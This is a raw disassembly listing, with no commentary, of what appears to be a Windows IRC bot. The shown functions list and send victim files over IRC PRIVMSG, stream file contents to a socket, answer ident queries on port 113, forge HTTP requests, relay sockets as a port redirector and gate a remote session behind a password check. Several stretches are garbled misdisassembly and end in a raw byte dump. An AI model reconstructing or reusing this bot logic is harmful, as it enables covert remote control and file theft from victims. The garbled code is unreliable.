push dword ptr [ebp+0Ch]
call ds:dword_451540
lea eax, [ebp-35Ch]
push eax
lea eax, [ebp-248h]
push dword ptr [ebp+14h]
push offset aSS_3 ; "%s%s/"
push edi
push eax
call sub_41D360
add esp, 14h
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_451540
lea eax, [ebp-35Ch]
push eax
call sub_41AC70
cmp eax, 1Eh
pop ecx
lea eax, [ebp-35Ch]
push eax
jbe short loc_41106D
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_411072
; ---------------------------------------------------------------------------
loc_41106D: ; CODE XREF: seg000:00411064j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_411072: ; CODE XREF: seg000:0041106Bj
lea eax, [ebp-248h]
push edi
push eax
call sub_41D360
add esp, 10h
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_451540
lea eax, [ebp-48h]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_41123A
; ---------------------------------------------------------------------------
loc_4110B7: ; CODE XREF: seg000:00410FD0j
lea eax, [ebp-35Ch]
push eax
push offset aS_23 ; "<%s>"
lea eax, [ebp-490h]
push 106h
push eax
call sub_41D360
lea eax, [ebp-48h]
push eax
lea eax, [ebp-490h]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_4110E4: ; CODE XREF: seg000:00411121j
lea eax, [ebp-248h]
push esi
push eax
call sub_41D360
add esp, 24h
jmp loc_411249
; ---------------------------------------------------------------------------
loc_4110F9: ; CODE XREF: seg000:00410F7Aj
inc dword ptr [ebp-4]
cmp [ebp+10h], ebx
jz short loc_411123
push ebx
push dword ptr [ebp-368h]
call sub_4169AF
push eax
lea eax, [ebp-48h]
push eax
lea eax, [ebp-35Ch]
push eax
push dword ptr [ebp+10h]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_4110E4
; ---------------------------------------------------------------------------
loc_411123: ; CODE XREF: seg000:004110FFj
cmp [ebp+14h], ebx
jz loc_411223
push 0E6h
push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp-248h]
push edi
push eax
call sub_41D360
add esp, 10h
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_451540
lea eax, [ebp-35Ch]
push eax
lea eax, [ebp-248h]
push dword ptr [ebp+14h]
push offset aSS_4 ; "%s%s"
push edi
push eax
call sub_41D360
add esp, 14h
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_451540
lea eax, [ebp-35Ch]
push eax
call sub_41AC70
cmp eax, 1Fh
pop ecx
lea eax, [ebp-35Ch]
push eax
jbe short loc_4111C3
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_4111C8
; ---------------------------------------------------------------------------
loc_4111C3: ; CODE XREF: seg000:004111BAj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_4111C8: ; CODE XREF: seg000:004111C1j
lea eax, [ebp-248h]
push edi
push eax
call sub_41D360
add esp, 10h
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_451540
mov eax, [ebp-368h]
shr eax, 0Ah
push eax
lea eax, [ebp-48h]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp-248h]
push edi
push eax
call sub_41D360
add esp, 1Ch
jmp short loc_411249
; ---------------------------------------------------------------------------
loc_411223: ; CODE XREF: seg000:00411126j
push dword ptr [ebp-368h]
lea eax, [ebp-48h]
push eax
lea eax, [ebp-35Ch]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_41123A: ; CODE XREF: seg000:004110B2j
lea eax, [ebp-248h]
push eax
call sub_41D360
add esp, 18h
loc_411249: ; CODE XREF: seg000:00410FC8j
; seg000:004110F4j ...
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_451540
cmp [ebp+10h], ebx
jz short loc_411278
push 7D0h
call ds:dword_4F12F4 ; Sleep
loc_411278: ; CODE XREF: seg000:00410ED1j
; seg000:00410EECj ...
lea eax, [ebp-388h]
push eax
push dword ptr [ebp+8]
call ds:dword_4F13B0 ; FindNextFileA
test eax, eax
jnz loc_410ECB
loc_411290: ; CODE XREF: seg000:00410EC0j
push dword ptr [ebp+8]
call near ptr 3D0000h
cmpsd
cmp [ebp+10h], ebx
jz short loc_4112D3
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_4169AF
pop ecx
pop ecx
push eax
mov eax, [ebp-4]
cdq
push edx
push eax
call sub_4169AF
pop ecx
pop ecx
push eax
lea eax, [ebp-248h]
push dword ptr [ebp+10h]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41D260
add esp, 14h
jmp short loc_411307
; ---------------------------------------------------------------------------
loc_4112D3: ; CODE XREF: seg000:0041129Cj
cmp [ebp+14h], ebx
jz short loc_4112ED
lea eax, [ebp-248h]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41D260
pop ecx
pop ecx
jmp short loc_411307
; ---------------------------------------------------------------------------
loc_4112ED: ; CODE XREF: seg000:004112D6j
push dword ptr [ebp-8]
lea eax, [ebp-248h]
push dword ptr [ebp-4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41D260
add esp, 10h
loc_411307: ; CODE XREF: seg000:004112D1j
; seg000:004112EBj
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_451540
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41132D proc near ; CODE XREF: sub_410879+13Bp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call ds:dword_4F1380 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4113E5
push esi
push ebx
call near ptr 3D0000h
insb
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_4113DE
loc_411372: ; CODE XREF: sub_41132D+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41D100
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_41138F
mov edi, [ebp+arg_4]
loc_41138F: ; CODE XREF: sub_41132D+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call ds:dword_4F13B8 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call ds:dword_4F1374 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jnz short loc_4113D9
call ds:dword_451488
cmp eax, 2733h
jnz short loc_4113DE
xor eax, eax
loc_4113D9: ; CODE XREF: sub_41132D+9Bj
sub [ebp+arg_4], eax
jnz short loc_411372
loc_4113DE: ; CODE XREF: sub_41132D+43j
; sub_41132D+A8j
push ebx
call ds:dword_4F12FC ; CloseHandle
loc_4113E5: ; CODE XREF: sub_41132D+30j
pop edi
pop esi
pop ebx
leave
retn
sub_41132D endp
; =============== S U B R O U T I N E =======================================
sub_4113EA proc near ; CODE XREF: seg000:00410B77p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41AC70
test eax, eax
pop ecx
jbe short loc_411413
loc_4113FD: ; CODE XREF: sub_4113EA+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_411407
mov byte ptr [esi+edi], 2Fh
loc_411407: ; CODE XREF: sub_4113EA+17j
push edi
inc esi
call sub_41AC70
cmp esi, eax
pop ecx
jb short loc_4113FD
loc_411413: ; CODE XREF: sub_4113EA+11j
mov eax, edi
pop edi
pop esi
retn
sub_4113EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411418 proc near ; CODE XREF: seg000:004055FFp
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call ds:dword_451464
push 6
push 1
push 2
call ds:dword_451570
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41D100
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call ds:dword_4514F4
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_4024FB
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jz short loc_4114F5
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_411491
mov eax, offset dword_4E2654
loc_411491: ; CODE XREF: sub_411418+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41D360
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call ds:dword_451540
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41E840
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call ds:dword_45150C
pop esi
loc_4114F5: ; CODE XREF: sub_411418+6Bj
push ebx
call ds:dword_451588
call ds:dword_45144C
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41D260
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_411535
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 14h
loc_411535: ; CODE XREF: sub_411418+102j
pop edi
pop ebx
leave
retn
sub_411418 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411539 proc near ; DATA XREF: seg000:004047ECo
var_238 = byte ptr -238h
var_38 = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_1C]
push esi
push eax
mov [ebp+var_8], esi
call sub_41D100
add esp, 0Ch
mov [ebp+var_1C], 2
push 71h
call ds:dword_4514F4
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call ds:dword_451570
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_41169A
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov ds:dword_4523C4[eax], ebx
lea eax, [ebp+var_1C]
push eax
push ebx
call ds:dword_451520
cmp eax, 0FFFFFFFFh
jz loc_41169A
push 5
push ebx
call ds:dword_45151C
cmp eax, 0FFFFFFFFh
jz loc_41169A
mov [ebp+var_C], edi
mov edi, 200h
loc_4115C4: ; CODE XREF: sub_411539+EAj
; sub_411539+14Aj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call ds:dword_451584
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_411695
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call ds:dword_45157C
push eax
lea eax, [ebp+var_238]
push offset dword_44A334
push eax
call sub_41D260
lea eax, [ebp+var_238]
push eax
call sub_4161A7
add esp, 14h
lea eax, [ebp+var_238]
push esi
push edi
push eax
push [ebp+var_4]
call ds:dword_45150C
cmp eax, 0FFFFFFFFh
jz short loc_4115C4
lea eax, [ebp+var_238]
push esi
push eax
call sub_417768
push 0Ch
lea eax, [ebp+var_38]
push esi
push eax
call sub_41D100
push esi
push esi
lea eax, [ebp+var_38]
push 2
push eax
call sub_408A38
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+var_238]
push edi
push eax
call sub_41D360
add esp, 34h
lea eax, [ebp+var_238]
push esi
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_4]
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz loc_4115C4
mov [ebp+var_8], 1
jmp loc_4115C4
; ---------------------------------------------------------------------------
loc_411695: ; CODE XREF: sub_411539+A0j
cmp [ebp+var_8], esi
jnz short loc_4116C1
loc_41169A: ; CODE XREF: sub_411539+47j
; sub_411539+6Bj ...
call ds:dword_451488
push eax
lea eax, [ebp+var_238]
push offset dword_44A3A0
push eax
call sub_41D260
lea eax, [ebp+var_238]
push eax
call sub_4161A7
add esp, 10h
loc_4116C1: ; CODE XREF: sub_411539+15Fj
push ebx
call ds:dword_451588
push [ebp+var_4]
call ds:dword_451588
push [ebp+arg_0]
call sub_40905B
pop ecx
push esi
call near ptr 3D0000h
in eax, dx
pop edi
pop esi
pop ebx
sub_411539 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4116E4 proc near ; DATA XREF: seg000:004060DBo
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41D100
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call ds:dword_4514F4
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call ds:dword_451570
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_411850
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov ds:dword_4523C4[ecx], eax
call ds:dword_451408
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call ds:dword_451520
test eax, eax
jnz loc_411850
push 0Ah
push [ebp+arg_0]
call ds:dword_45151C
test eax, eax
jnz loc_411850
loc_411794: ; CODE XREF: sub_4116E4+C6j
; sub_4116E4+147j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call ds:dword_451584
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_411794
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call ds:dword_45157C
push eax
lea eax, [ebp+var_350]
push offset unk_44A3EC
push eax
call sub_41D260
push edi
lea eax, [ebp+var_350]
push 18h
push eax
call sub_408D3F
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov ds:dword_4523BC[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_411875
push esi
push esi
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov ds:dword_4523CC[ecx], eax
jz short loc_41183B
loc_411828: ; CODE XREF: sub_4116E4+155j
cmp [ebp+var_30], esi
jnz loc_411794
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_411828
; ---------------------------------------------------------------------------
loc_41183B: ; CODE XREF: sub_4116E4+142j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset unk_44A44C
call sub_41621B
pop ecx
pop ecx
jmp short loc_411853
; ---------------------------------------------------------------------------
loc_411850: ; CODE XREF: sub_4116E4+63j
; sub_4116E4+97j ...
mov edi, [ebp+arg_0]
loc_411853: ; CODE XREF: sub_4116E4+16Aj
push edi
call ds:dword_451588
push [ebp+arg_0]
call ds:dword_451588
push [ebp+var_40]
call sub_40905B
pop ecx
push esi
call near ptr 3D0000h
inc edi
pop edi
pop esi
sub_4116E4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411875 proc near ; DATA XREF: sub_4116E4+124o
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41DEB0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call ds:dword_451570
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_411A2B
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_41D100
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call ds:dword_4514F4
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call ds:dword_451530
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_411905
lea eax, [ebp+var_13C]
push eax
call ds:dword_451574
jmp short loc_411913
; ---------------------------------------------------------------------------
loc_411905: ; CODE XREF: sub_411875+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call ds:dword_4514AC
loc_411913: ; CODE XREF: sub_411875+8Ej
cmp eax, edi
jz loc_411A2B
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jz loc_411A2B
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call ds:dword_45157C
push eax
lea eax, [ebp+var_344]
push offset unk_44A4A0
push eax
call sub_41D260
push esi
lea eax, [ebp+var_344]
push 18h
push eax
call sub_408D3F
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_4523C4[ebx]
mov ds:dword_4523BC[eax], ecx
add esp, 20h
mov ecx, [esi]
mov ds:dword_4523C8[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push (offset loc_411A58+4)
push edi
push edi
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov ds:dword_4523CC[ecx], eax
jz short loc_411A18
loc_4119C5: ; CODE XREF: sub_411875+15Dj
cmp [ebp+var_20], edi
jnz short loc_4119D4
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_4119C5
; ---------------------------------------------------------------------------
loc_4119D4: ; CODE XREF: sub_411875+153j
mov ebx, 1000h
loc_4119D9: ; CODE XREF: sub_411875+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call ds:dword_45150C
cmp eax, edi
jle short loc_411A2B
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jnz short loc_4119D9
jmp short loc_411A2B
; ---------------------------------------------------------------------------
loc_411A18: ; CODE XREF: sub_411875+14Ej
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset unk_44A4FC
call sub_41621B
pop ecx
pop ecx
loc_411A2B: ; CODE XREF: sub_411875+44j
; sub_411875+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push ds:dword_4523C4[eax]
call ds:dword_451588
push [ebp+arg_0]
call ds:dword_451588
push [ebp+var_4]
call sub_40905B
pop ecx
push edi
call near ptr 3D0000h
loc_411A58: ; DATA XREF: sub_411875+130o
call far ptr 0EC8Bh:555B5E5Fh
sub_411875 endp ; sp-analysis failed
mov eax, 1128h
call sub_41DEB0
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_411A93: ; CODE XREF: seg000:00411AD8j
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push ds:dword_4523C8[esi]
call ds:dword_45150C
test eax, eax
jle short loc_411ADA
push 0
push eax
lea eax, [ebp-1128h]
push eax
push ds:dword_4523C4[esi]
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jnz short loc_411A93
loc_411ADA: ; CODE XREF: seg000:00411ABDj
push ds:dword_4523C8[esi]
call ds:dword_451588
push dword ptr [ebp-14h]
call sub_40905B
pop ecx
push 0
call near ptr 3D0000h
mov eax, 8B555E5Fh
in al, dx
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_4523C4[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call ds:dword_4514DC
test eax, eax
jnz short near ptr loc_411B7C+1
push dword ptr [esi]
call ds:dword_451588
push dword ptr [ebp+8]
call sub_40905B
pop ecx
push edi
call near ptr 3D0000h
loc_411B7C: ; CODE XREF: seg000:00411B63j
adc al, 57h
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call ds:dword_45150C
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call near ptr loc_411CFD+1
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call near ptr loc_411CFD+1
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call near ptr loc_411CFD+1
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call ds:dword_451448
test eax, eax
jz short near ptr loc_411BF5+1
call ds:dword_451488
push eax
push offset dword_44A554
call sub_41621B
push dword ptr [ebp+8]
call sub_40905B
add esp, 0Ch
push edi
call near ptr 3D0000h
loc_411BF5: ; CODE XREF: seg000:00411BD1j
mov ebx, 458D026Ah
call near ptr 0FF912069h
adc eax, offset dword_4514AC
cmp eax, edi
jnz short loc_411C20
push dword ptr [ebp-18h]
call ds:dword_45157C
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41D260
jmp short loc_411C2E
; ---------------------------------------------------------------------------
loc_411C20: ; CODE XREF: seg000:00411C06j
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41E550
loc_411C2E: ; CODE XREF: seg000:00411C1Ej
pop ecx
pop ecx
push edi
push ebx
push offset dword_4E2668
push dword ptr [esi]
call ds:dword_451540
cmp ds:dword_4E2660, edi
jnz short near ptr loc_411C8F+1
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_411D58
add esp, 10h
test eax, eax
jnz short near ptr loc_411C8F+1
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call ds:dword_451540
push dword ptr [esi]
call ds:dword_451588
push dword ptr [ebp+8]
call sub_40905B
pop ecx
push edi
call near ptr 3D0000h
loc_411C8F: ; CODE XREF: seg000:00411C45j
; seg000:00411C66j
mov byte ptr [ebp-0AF7Bh], 0FFh
push eax
lea eax, [ebp-2Ch]
push eax
push offset dword_44A5B4
call sub_41621B
push dword ptr [ebp+8]
call loc_41200F
add esp, 10h
test eax, eax
jnz short near ptr loc_411CD6+1
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset dword_44A600
call sub_41621B
push dword ptr [ebp+8]
call sub_40905B
add esp, 0Ch
push ebx
call near ptr 3D0000h
loc_411CD6: ; CODE XREF: seg000:00411CB2j
xor [ebp-0AF7Bh], ecx
call dword ptr [eax-73h]
inc ebp
aam 50h
push offset dword_44A64C
call sub_41621B
push dword ptr [ebp+8]
call sub_40905B
add esp, 10h
push edi
call near ptr 3D0000h
loc_411CFD: ; CODE XREF: seg000:00411B93p
; seg000:00411BA0p ...
mov dh, 55h
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp-1]
push 1
push eax
push dword ptr [ebp+8]
call ds:dword_45150C
cmp eax, 1
jnz short loc_411D4E
mov esi, [ebp+0Ch]
loc_411D1C: ; CODE XREF: seg000:00411D3Fj
mov al, [ebp-1]
mov [esi], al
inc esi
dec dword ptr [ebp+10h]
jz short loc_411D43
test al, al
jz short loc_411D52
push 0
lea eax, [ebp-1]
push 1
push eax
push dword ptr [ebp+8]
call ds:dword_45150C
cmp eax, 1
jz short loc_411D1C
jmp short loc_411D4E
; ---------------------------------------------------------------------------
loc_411D43: ; CODE XREF: seg000:00411D25j
push offset dword_44A69C
call sub_41621B
pop ecx
loc_411D4E: ; CODE XREF: seg000:00411D17j
; seg000:00411D41j
xor eax, eax
jmp short loc_411D55
; ---------------------------------------------------------------------------
loc_411D52: ; CODE XREF: seg000:00411D29j
push 1
pop eax
loc_411D55: ; CODE XREF: seg000:00411D50j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_411D58 proc near ; CODE XREF: seg000:00411C5Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_411D83
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_44A6E8
call sub_41621B
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_411D83: ; CODE XREF: sub_411D58+11j
push 1
pop eax
retn
sub_411D58 endp
; ---------------------------------------------------------------------------
byte_411D87 db 55h ; DATA XREF: seg000:00407AC6o
dd 0EC81EC8Bh, 5A4h, 5608458Bh, 59786A57h, 0BD8DF08Bh
dd 0FFFFFDECh, 0A5F3016Ah, 0DCB8895Fh, 8D000001h, 0FFFA5C85h
dd 26850FFh, 0FF000002h, 45146415h, 3BF63300h, 501D74C6h
dd 44A7A068h, 444DE800h, 75FF0000h, 7285E8B4h, 0C483FFFFh
dd 21E8570Ch, 35FFFBE2h, 20056857h, 15E80041h, 0A6FFFBE2h
dd 2975C085h, 131015FFh, 6850004Fh, 44A7ECh, 441AE8h, 0FF595900h
dd 45144C15h, 0B475FF00h, 0FF724AE8h, 0E85759FFh, 0FFFBE1E8h
dd 106A5352h, 56E0458Dh, 0B2DAE850h, 0C4830000h, 45C7660Ch
dd 0FF0002E0h, 15FFB075h, 4514F4h, 6A57066Ah, 45896602h
dd 0E47589E2h, 157015FFh, 0D88B0045h, 0FFFFB83h, 13B84h
dd 0B4458B00h, 0C069106Ah, 234h, 23C49889h, 458D0045h
dd 0FF5350E0h, 45152015h, 0FC08500h, 11785h, 0FFFF6800h
